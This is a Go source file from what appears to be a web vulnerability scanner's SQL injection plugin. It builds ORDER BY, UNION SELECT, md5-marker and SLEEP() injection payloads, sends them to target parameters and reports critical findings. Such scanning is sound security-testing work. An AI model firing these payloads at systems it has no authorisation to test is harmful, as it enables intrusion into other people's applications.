-
Notifications
You must be signed in to change notification settings - Fork 47
/
union.go
364 lines (324 loc) · 13.5 KB
/
union.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
package sql
import (
"fmt"
"github.com/antlabs/strsim"
"github.com/thoas/go-funk"
JieOutput "github.com/yhy0/Jie/pkg/output"
"github.com/yhy0/Jie/pkg/protocols/httpx"
"github.com/yhy0/Jie/pkg/util"
"github.com/yhy0/logging"
"strconv"
"strings"
"time"
)
/**
@author: yhy
@since: 2023/2/9
@desc: //TODO
**/
func (sql *Sqlmap) checkUnionBased(pos int, closeType string) bool {
if sql.guessColumnNum(pos, closeType) != -1 {
return true
}
// 去除这种
// if sql.bruteColumnNum(pos, closeType) != -1 {
// return true
// }
return false
}
// 猜列数, 有回显
func (sql *Sqlmap) guessColumnNum(pos int, closeType string) int {
// OrderByStep := 10
// OrderByMax := 100
// lowCols, highCols := 1, OrderByStep
// found := false
var (
payload string
columnNum int
condition_1 bool
condition_2 bool
defaultRatio float64 = -1
resp *httpx.Response
)
condition_1, defaultRatio, resp = sql.orderByTest(1, pos, closeType, defaultRatio)
condition_2, defaultRatio, _ = sql.orderByTest(util.RandomNumber(9999, 999999), pos, closeType, defaultRatio)
if condition_1 && !condition_2 {
// 这里通过报错,已经可以认为存在注入点了,所以不再探测具体有几列,减少发包探测,剩余验证的交给专业的 sql 去搞
for index, param := range sql.Variations.Params {
if index == pos {
payload = param.Value + closeType + `/**/ORDeR/**/bY/**/` + strconv.Itoa(columnNum) + "#"
JieOutput.OutChannel <- JieOutput.VulMessage{
DataType: "web_vul",
Plugin: "SQL Injection",
VulnData: JieOutput.VulnData{
CreateTime: time.Now().Format("2006-01-02 15:04:05"),
Target: sql.Url,
Ip: "",
Param: param.Name,
Request: resp.RequestDump,
Response: resp.ResponseDump,
Payload: payload,
Description: fmt.Sprintf("Union-Based SQL Injection: [%v:%v]", param.Name, param.Value),
},
Level: JieOutput.Critical,
}
logging.Logger.Errorln("request", resp.RequestDump)
logging.Logger.Errorln("response", resp.ResponseDump)
logging.Logger.Debugln("UNION 列数经过ORDER BY 探测为 ", columnNum)
return columnNum
}
}
// for !found {
// condition_volatile, defaultRatio_tmp, _ := sql.orderByTest(highCols, pos, closeType, defaultRatio)
// defaultRatio = defaultRatio_tmp
// if condition_volatile {
// lowCols = highCols
// highCols += OrderByStep
// if highCols > OrderByMax {
// break
// }
// } else {
// var res *httpx.Response
// for !found {
// var condition_volatile_sec bool
// mid := highCols - int(math.Round(float64((highCols-lowCols)/2)))
//
// condition_volatile_sec, defaultRatio_tmp, res = sql.orderByTest(mid, pos, closeType, defaultRatio)
//
// defaultRatio = defaultRatio_tmp
// if condition_volatile_sec {
// lowCols = mid
// } else {
// highCols = mid
// }
//
// if (highCols - lowCols) < 2 {
// columnNum = lowCols
// found = true
// }
// }
//
// for index, param := range sql.Variations.Params {
// if index == pos {
// payload = param.Value + closeType + `/**/ORDeR/**/bY/**/` + strconv.Itoa(columnNum) + "#"
// JieOutput.OutChannel <- JieOutput.VulMessage{
// DataType: "web_vul",
// Plugin: "SQL Injection",
// VulnData: JieOutput.VulnData{
// CreateTime: time.Now().Format("2006-01-02 15:04:05"),
// Target: sql.Url,
// Ip: "",
// Param: param.Name,
// Request: res.RequestDump,
// Response: res.ResponseDump,
// Payload: payload,
// Description: fmt.Sprintf("Union-Based SQL Injection: [%v:%v]", param.Name, param.Value),
// },
// Level: JieOutput.Critical,
// }
// logging.Logger.Debugln("UNION 列数经过ORDER BY 探测为 ", columnNum)
// return columnNum
// }
// }
//
// }
// }
}
return -1
}
// 猜列数, 无回显,基于时间
func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int {
var payload string
/* UPPER_COUNT - LOWER_COUNT *MUST* >= 5 */
LowerCount := 1
UpperCount := 15
err, standardRespTime := getNormalRespondTime(sql)
if err != nil {
// 因获取响应时间出错 不再继续测试时间盲注
logging.Logger.Debugln("尝试检测 TimBased-Blind响应时间失败")
return -1
}
randStr := `"` + util.RandomLetters(5) + `"` + ","
ratios := make(map[int]float64)
for index, param := range sql.Variations.Params {
if index == pos {
for i := LowerCount; i <= UpperCount; i++ {
payload = param.Value + closeType + `/**/UniOn/**/All/**/Select/**/` + strings.Repeat(randStr, i)
payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, strings.TrimRight(payload, ",")+"#", sql.Method)
if payload == "" {
continue
}
var res *httpx.Response
if sql.Method == "GET" {
res, err = sql.Client.Request(payload, sql.Method, "", sql.Headers)
} else {
res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers)
}
if err != nil {
logging.Logger.Debugln(sql.Url, "尝试检测 Union SQL Injection Payload 失败")
continue
}
ratios[i-1] = strsim.Compare(res.Body, sql.TemplateBody)
time.Sleep(time.Millisecond * 500) // 避免过于频繁请求导致速率被限制进而导致结果偏差
continue
}
}
}
var (
lowest = 1.0
highest = 0.0
lowest_count = 0
highest_count = 0
distinguish float64 = -1
)
for _, value := range ratios {
if value > highest {
highest = value
}
if value < lowest {
lowest = value
}
}
var middle []float64
for _, value := range ratios {
if value != highest && value != lowest {
middle = append(middle, value)
continue
}
if value == lowest {
lowest_count = lowest_count + 1
}
if value == highest {
highest_count = highest_count + 1
}
}
if len(middle) == 0 && highest != lowest {
if highest_count == 1 {
distinguish = highest
} else if lowest_count == 1 {
distinguish = lowest
}
}
if distinguish != -1 {
var columnNum = 0
for index, value := range ratios {
if value == distinguish {
columnNum = index + 1
}
}
md5Randstr := util.RandomLetters(5)
for index, param := range sql.Variations.Params {
if index == pos {
payload = param.Value + closeType + `/**/UniOn/**/All/**/Select/**/` + strings.Repeat(fmt.Sprintf(`md5('%v'),`, md5Randstr), columnNum)
payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, strings.TrimRight(payload, ",")+"#", sql.Method)
if payload == "" {
continue
}
var res *httpx.Response
if sql.Method == "GET" {
res, err = sql.Client.Request(payload, sql.Method, "", sql.Headers)
} else {
res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers)
}
if err != nil {
continue
}
md5CheckVal := util.MD5(md5Randstr)
if funk.Contains(res.ResponseDump, md5CheckVal) {
JieOutput.OutChannel <- JieOutput.VulMessage{
DataType: "web_vul",
Plugin: "SQL Injection",
VulnData: JieOutput.VulnData{
CreateTime: time.Now().Format("2006-01-02 15:04:05"),
Target: sql.Url,
Ip: "",
Param: param.Name,
Request: res.RequestDump,
Response: res.ResponseDump,
Payload: payload,
Description: fmt.Sprintf("UNION SQL Injection: [%v:%v]", param.Name, param.Value),
},
Level: JieOutput.Critical,
}
logging.Logger.Debugln("UNION 列数经过ORDER BY 探测为 ", columnNum)
return columnNum
}
}
}
}
for index, param := range sql.Variations.Params {
if index == pos {
for i := LowerCount; i <= UpperCount; i++ {
payload = param.Value + closeType + `/**/UniOn/**/Select/**/` + strings.Repeat(randStr, i-1)
payload += sql.Variations.SetPayloadByIndex(param.Index, sql.Url, fmt.Sprintf(`SLeep(%v)#`, standardRespTime*2/1000+3), sql.Method)
if payload == "" {
continue
}
var res *httpx.Response
if sql.Method == "GET" {
res, err = sql.Client.Request(payload, sql.Method, "", sql.Headers)
} else {
res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers)
}
if err != nil {
continue
}
if res.ServerDurationMs > standardRespTime*2+1000 {
JieOutput.OutChannel <- JieOutput.VulMessage{
DataType: "web_vul",
Plugin: "SQL Injection",
VulnData: JieOutput.VulnData{
CreateTime: time.Now().Format("2006-01-02 15:04:05"),
Target: sql.Url,
Ip: "",
Param: param.Name,
Request: res.RequestDump,
Response: res.ResponseDump,
Payload: payload,
Description: fmt.Sprintf("UNION SQL Injection: [%v:%v]", param.Name, param.Value),
},
Level: JieOutput.Critical,
}
logging.Logger.Debugln(sql.Url, "UNION 列数经过UNION BruteForce sleep探测为 ", i)
return i
} else {
time.Sleep(time.Millisecond * 500) // 避免过于频繁请求导致结果偏差
continue
}
}
}
}
return -1
}
func (sql *Sqlmap) orderByTest(number, pos int, closeType string, defaultRatio float64) (bool, float64, *httpx.Response) {
var payload string
for index, param := range sql.Variations.Params {
if index == pos {
payload = param.Value + closeType + `/**/ORDeR/**/bY/**/` + strconv.Itoa(number) + "#"
payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, payload, sql.Method)
if payload == "" {
continue
}
var res *httpx.Response
var err error
if sql.Method == "GET" {
res, err = sql.Client.Request(payload, sql.Method, "", sql.Headers)
} else {
res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers)
}
if err != nil {
continue
}
// 每种检测方式都加上这个报错检测
sql.DBMS = checkDBMSError(sql.Url, param.Name, payload, res)
if sql.DBMS != "" {
return false, 0, nil
}
condition, dr := sql.comparison(res.Body, res.StatusCode, defaultRatio)
math1, _ := util.MatchAnyOfRegexp([]string{"(warning|error):", "order (by|clause)", "unknown column", "failed"}, res.Body)
math2, _ := util.MatchAnyOfRegexp([]string{"data types cannot be compared or sorted"}, res.Body)
return !math1 && condition || math2, dr, res
}
}
return false, 0, nil
}